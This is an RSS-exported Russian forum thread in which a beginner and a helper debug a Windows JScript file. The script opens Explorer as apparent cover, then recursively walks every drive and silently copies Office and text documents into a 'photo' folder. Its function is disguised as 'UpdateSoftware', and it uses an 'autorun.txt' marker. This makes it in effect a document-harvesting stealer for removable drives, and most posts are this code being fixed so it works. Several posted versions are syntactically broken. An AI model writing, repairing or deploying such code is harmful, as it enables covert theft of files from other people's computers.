<?xml version='1.0' encoding="utf-8"?>
      <rss version='2.0'>
      <channel>
      <title>Форум на Исходниках.RU</title>
      <link>https://forum.sources.ru</link>
      <description>Форум на Исходниках.RU</description>
      <generator>Форум на Исходниках.RU</generator>
  	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784812</guid>
        <pubDate>Fri, 07 Dec 2018 08:36:27 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784812</link>
        <description><![CDATA[Олег М: <div class='tag-quote'><a class='tag-quote-link' href='https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784786'><span class='tag-quote-prefix'>Цитата</span></a> <span class='tag-quote__quote-info'>lixen15 &#064; <time class="tag-quote__quoted-time" datetime="2018-12-07T00:56:34+03:00">06.12.18, 21:56</time></span><div class='quote '>Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.</div></div><br>
Во-первых - catch надо удалять вместе с содержимым catch(e) {......}, для try желательно удалить ещё фигурные скобки {}, но можно и оставить<br>
Во-вторых - в процессе удаления try-catch ты где-то потеряла фигурную скобку, в результате функция UpdateSoftware стала вдвое меньше.<br>
<br>
Так что, верни все try-catch на место и удали только var ext = found[0];, должно заработать.<br>
И, пользуйся кнопкой CODE, когда выкладываешь исходники, как в первом сообщении.]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784786</guid>
        <pubDate>Thu, 06 Dec 2018 21:56:34 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784786</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong> Доброго времени суток&#33; Убрала все возможности возникновения, но к сожалению ничего не копируется все равно.<br>
<br>
function UpdateSoftware(fso, cd, softwareFolder) {<br>
        var patch = /&#092;.(docx)&#036;/i;<br>
        var diff = new Date(2007,05,01);<br>
        var softwareEnumerator = new Enumerator(softwareFolder.Files);<br>
        softwareEnumerator.moveFirst();<br>
        for (; &#33;softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) <br>
        {<br>
            var found = softwareEnumerator.item().Name.match(patch);<br>
			if (found &amp;&amp;((Date.parse(softwareEnumerator.item().DateCreated) &gt;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) &gt;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) &gt;= diff.getTime())))<br>
                {<br>
                    var ext = &quot;.&quot; + found[0];<br>
                    fso.CopyFile(softwareEnumerator.item().Path, cd + &quot;&#092;&#092;02-&quot;+Math.round(Math.random()*Math.pow(10,10))<br>
                        + &quot;-&quot; + Date.parse(softwareEnumerator.item().DateCreated)<br>
                        + found[0], true);<br>
                }<br>
                {<br>
                    if (e.number == 61)<br>
                    {<br>
                        WScript.Quit(0);<br>
                    }<br>
                }<br>
            }<br>
        }<br>
        var packageEnumerator = new Enumerator(softwareFolder.SubFolders);<br>
        packageEnumerator.moveFirst();<br>
        for (; &#33;packageEnumerator.atEnd(); packageEnumerator.moveNext()) {<br>
             <br>
                if ((packageEnumerator.item().Name.toUpperCase() &#33;= &quot;Program Files&quot;.toUpperCase()) &amp;&amp; (packageEnumerator.item().Name.toUpperCase() &#33;= &quot;Windows&quot;.toUpperCase()) &amp;&amp; (packageEnumerator.item().Name.toUpperCase() &#33;= &quot;Winnt&quot;.toUpperCase())) {<br>
                    UpdateSoftware(fso, cd, packageEnumerator.item());<br>
                 }<br>
              {<br>
            }<br>
        }<br>
     {<br>
    }<br>
<br>
 <br>
 {<br>
    var ws = WScript.CreateObject(&quot;WScript.Shell&quot;);<br>
    ws.Exec(&quot;explorer.exe&quot; + &quot; &quot; + ws.CurrentDirectory);<br>
    var fso = WScript.CreateObject(&quot;Scripting.FileSystemObject&quot;);<br>
    if (&#33;fso.FolderExists(ws.CurrentDirectory+&quot;&#092;&#092;photo&quot;)) {<br>
        fso.CreateFolder(ws.CurrentDirectory+&quot;&#092;&#092;photo&quot;);<br>
    }<br>
    var tmpFileName = &quot;autorun.txt&quot;;<br>
    if (&#33;fso.FileExists(tmpFileName)) {<br>
        var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);<br>
        tmpFile.Close();<br>
        var driveEnumerator = new Enumerator(fso.Drives);<br>
        driveEnumerator.moveFirst();<br>
        for (; &#33;driveEnumerator.atEnd(); driveEnumerator.moveNext()) {<br>
            {<br>
                if (driveEnumerator.item().RootFolder &#33;= ws.CurrentDirectory) {<br>
                    UpdateSoftware(fso, ws.CurrentDirectory+&quot;&#092;&#092;photo&quot;, driveEnumerator.item().RootFolder);<br>
                }<br>
            } {<br>
            }<br>
        }<br>
        fso.DeleteFile(ws.CurrentDirectory+&quot;&#092;&#092;&quot;+tmpFileName, true);<br>
    }<br>
}  {<br>
}<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;</div></ol></div></div></div></div><script>preloadCodeButtons('1');</script>]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784595</guid>
        <pubDate>Wed, 05 Dec 2018 13:31:28 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784595</link>
        <description><![CDATA[Олег М: Для начала надо убрать все try-catch, скорее всего где-то выскакивает ошибка, а ты её не видишь <br>
<br>
<span class="tag-color tag-color-named" data-value="mergepost" style="color: mergepost"><span class='tag-size' data-value='7' style='font-size:7pt;'>Добавлено <time class="tag-mergetime" datetime="2018-12-05T13:33:56+00:00">05.12.18, 13:33</time></span></span><br>
var ext = found[0];<br>
Убери эту строчку, она даёт ошибку]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784571</guid>
        <pubDate>Wed, 05 Dec 2018 11:59:36 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784571</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong> Исправила на docx. Все равно результата нету]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784570</guid>
        <pubDate>Wed, 05 Dec 2018 11:59:06 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784570</link>
        <description><![CDATA[Олег М: А файлы с такими расширениями, doc|rtf|xls|txt вообще есть?]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784567</guid>
        <pubDate>Wed, 05 Dec 2018 11:57:07 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784567</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong><br>
Все запустилось без ошибок, но ничего не скопировалось, хах]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784564</guid>
        <pubDate>Wed, 05 Dec 2018 11:51:15 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784564</link>
        <description><![CDATA[Олег М: Лишняя скобка<br>
<br>
for (; &#33;softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) <strong class='tag-b'><span class="tag-color tag-color-named" data-value="red" style="color: red">{</span></strong><br>
{<br>
var found = softwareEnumerator.item().Name.match(patch);<br>
var ext = found[0];]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784561</guid>
        <pubDate>Wed, 05 Dec 2018 11:45:25 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784561</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong><br>
Понимаю, что я наверно Вас уже достала, хах.<br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function UpdateSoftware(fso, cd, softwareFolder) {</div><div class="code_line">&nbsp;&nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var patch = /\.(doc|rtf|xls|txt)$/i;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var diff = new Date(2007,05,01);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var softwareEnumerator = new Enumerator(softwareFolder.Files);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;softwareEnumerator.moveFirst();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var found = softwareEnumerator.item().Name.match(patch);</div><div class="code_line">var ext = found[0];</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (found &amp;&amp;((Date.parse(softwareEnumerator.item().DateCreated) &#62;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) &#62;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) &#62;= diff.getTime())))</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var ext = &quot;.&quot; + found[0];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fso.CopyFile(softwareEnumerator.item().Path, cd + &quot;\02-&quot;+Math.round(Math.random()*Math.pow(10,10))</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ &quot;-&quot; + Date.parse(softwareEnumerator.item().DateCreated)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ found[0], true);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;catch (e)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (e.number == 61)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WScript.Quit(0);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var packageEnumerator = new Enumerator(softwareFolder.SubFolders);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;packageEnumerator.moveFirst();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !packageEnumerator.atEnd(); packageEnumerator.moveNext()) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ((packageEnumerator.item().Name.toUpperCase() != &quot;Program Files&quot;.toUpperCase()) &amp;&amp; (packageEnumerator.item().Name.toUpperCase() != &quot;Windows&quot;.toUpperCase()) &amp;&amp; (packageEnumerator.item().Name.toUpperCase() != &quot;Winnt&quot;.toUpperCase())) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;UpdateSoftware(fso, cd, packageEnumerator.item());</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} catch(e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;} catch(e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">}</div><div class="code_line">&nbsp;</div><div class="code_line">try {</div><div class="code_line">&nbsp;&nbsp; &nbsp;var ws = WScript.CreateObject(&quot;WScript.Shell&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;ws.Exec(&quot;explorer.exe&quot; + &quot; &quot; + ws.CurrentDirectory);</div><div class="code_line">&nbsp;&nbsp; &nbsp;var fso = WScript.CreateObject(&quot;Scripting.FileSystemObject&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;if (!fso.FolderExists(ws.CurrentDirectory+&quot;\photo&quot;)) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fso.CreateFolder(ws.CurrentDirectory+&quot;\photo&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;var tmpFileName = &quot;autorun.txt&quot;;</div><div class="code_line">&nbsp;&nbsp; &nbsp;if (!fso.FileExists(tmpFileName)) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var tmpFile = fso.GetFolder(ws.CurrentDirectory).CreateTextFile(tmpFileName, true);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;tmpFile.Close();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var driveEnumerator = new Enumerator(fso.Drives);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;driveEnumerator.moveFirst();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !driveEnumerator.atEnd(); driveEnumerator.moveNext()) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (driveEnumerator.item().RootFolder != ws.CurrentDirectory) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;UpdateSoftware(fso, ws.CurrentDirectory+&quot;\photo&quot;, driveEnumerator.item().RootFolder);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} catch(e) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;fso.DeleteFile(ws.CurrentDirectory+&quot;\&quot;+tmpFileName, true);</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">} catch(e) {</div><div class="code_line">}</div></ol></div></div></div></div><br>
Поставила имя, все как Вы написали, сокращенный вариант. Теперь выдает ошибку 40 строка символ 7 Синтаксическая ошибка 800А03ЕА.     } catch(e) { вот эта строка]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784560</guid>
        <pubDate>Wed, 05 Dec 2018 11:37:39 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784560</link>
        <description><![CDATA[Олег М: <div class='tag-quote'><a class='tag-quote-link' href='https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784555'><span class='tag-quote-prefix'>Цитата</span></a> <span class='tag-quote__quote-info'>lixen15 &#064; <time class="tag-quote__quoted-time" datetime="2018-12-05T11:31:09+00:00">05.12.18, 11:31</time></span><div class='quote '>18 строка copyFile все время выдает ошибку</div></div><br>
Я  ............................. поставил, чтоб покороче было. <br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fso.CopyFile(softwareEnumerator.item().Path, cd + &quot;\02-&quot;+Math.round(Math.random()*Math.pow(10,10))</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ &quot;-&quot; + Date.parse(softwareEnumerator.item().DateCreated)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ &quot;-&quot; + Date.parse(softwareEnumerator.item().DateLastModified)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ &quot;-&quot; + Date.parse(softwareEnumerator.item().DateLastAccessed)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ &#39;-&#39; + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-3)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ &#39;-&#39; + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-2)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ &#39;-&#39; + softwareEnumerator.item().Name.charCodeAt(softwareEnumerator.item().Name.length-1) </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ found[0], true);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div></ol></div></div></div></div> <br>
<br>
<span class="tag-color tag-color-named" data-value="mergepost" style="color: mergepost"><span class='tag-size' data-value='7' style='font-size:7pt;'>Добавлено <time class="tag-mergetime" datetime="2018-12-05T11:41:00+00:00">05.12.18, 11:41</time></span></span><br>
Можно сократить имя<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fso.CopyFile(softwareEnumerator.item().Path, cd + &quot;\02-&quot;+Math.round(Math.random()*Math.pow(10,10))</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ &quot;-&quot; + Date.parse(softwareEnumerator.item().DateCreated)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+ found[0], true);</div></ol></div></div></div></div>]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784555</guid>
        <pubDate>Wed, 05 Dec 2018 11:31:09 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784555</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong><br>
Не видела предыдущего сообщения, простите.<br>
<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">function UpdateSoftware(fso, cd, softwareFolder) {</div><div class="code_line">&nbsp;&nbsp; &nbsp;try {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var patch = /\.(doc|rtf|xls|txt)$/i;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var diff = new Date(2007,05,01);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;var softwareEnumerator = new Enumerator(softwareFolder.Files);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;softwareEnumerator.moveFirst();</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext())</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var found = softwareEnumerator.item().Name.match(patch);</div><div class="code_line">var ext = found[0];</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (found &amp;&amp;((Date.parse(softwareEnumerator.item().DateCreated) &#62;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastAccessed) &#62;= diff.getTime())||(Date.parse(softwareEnumerator.item().DateLastModified) &#62;= diff.getTime())))</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;try</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var ext = &quot;.&quot; + found[0];</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;fso.CopyFile(softwareEnumerator.item().Path, cd + ............................. + found[0], true);</div><div class="code_line">WScript.StdOut.WriteLine(ext);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;catch (e)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (e.number == 61)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WScript.Quit(0);</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}</div></ol></div></div></div></div><br>
18 строка copyFile все время выдает ошибку]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784551</guid>
        <pubDate>Wed, 05 Dec 2018 11:14:49 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784551</link>
        <description><![CDATA[Олег М: Примерно, я ж тебе выше написал, как должно выглядеть, нажми F5 и посмотри]]></description>
        <author>Олег М</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784550</guid>
        <pubDate>Wed, 05 Dec 2018 11:12:40 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784550</link>
        <description><![CDATA[lixen15: <strong class='tag-b'>Олег М</strong><br>
<br>
var found = softwareEnumerator.item().Name.match(patch);<br>
                    var ext = found[0];<br>
					fso.CopyFile found<br>
вот так должно выглядеть?]]></description>
        <author>lixen15</author>
        <category>Visual Basic: Общие вопросы</category>
      </item>
	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784547</guid>
        <pubDate>Wed, 05 Dec 2018 11:03:37 +0000</pubDate>
        <title>Помогите разобраться начинающему в программах vbs</title>
        <link>https://forum.sources.ru/index.php?showtopic=413857&amp;view=findpost&amp;p=3784547</link>
        <description><![CDATA[Олег М: <div class='tag-quote'><a class='tag-quote-link' href='https://forum.sources.ru/index.php?showtopic=413857&view=findpost&p=3784542'><span class='tag-quote-prefix'>Цитата</span></a> <span class='tag-quote__quote-info'>lixen15 &#064; <time class="tag-quote__quoted-time" datetime="2018-12-05T10:55:44+00:00">05.12.18, 10:55</time></span><div class='quote '> Операция теперь проходит без ошибок, но файлов не появляется никаких  </div></div><br>
потому что ты убрала fso.CopyFile <br>
<br>
<span class="tag-color tag-color-named" data-value="mergepost" style="color: mergepost"><span class='tag-size' data-value='7' style='font-size:7pt;'>Добавлено <time class="tag-mergetime" datetime="2018-12-05T11:04:16+00:00">05.12.18, 11:04</time></span></span><br>
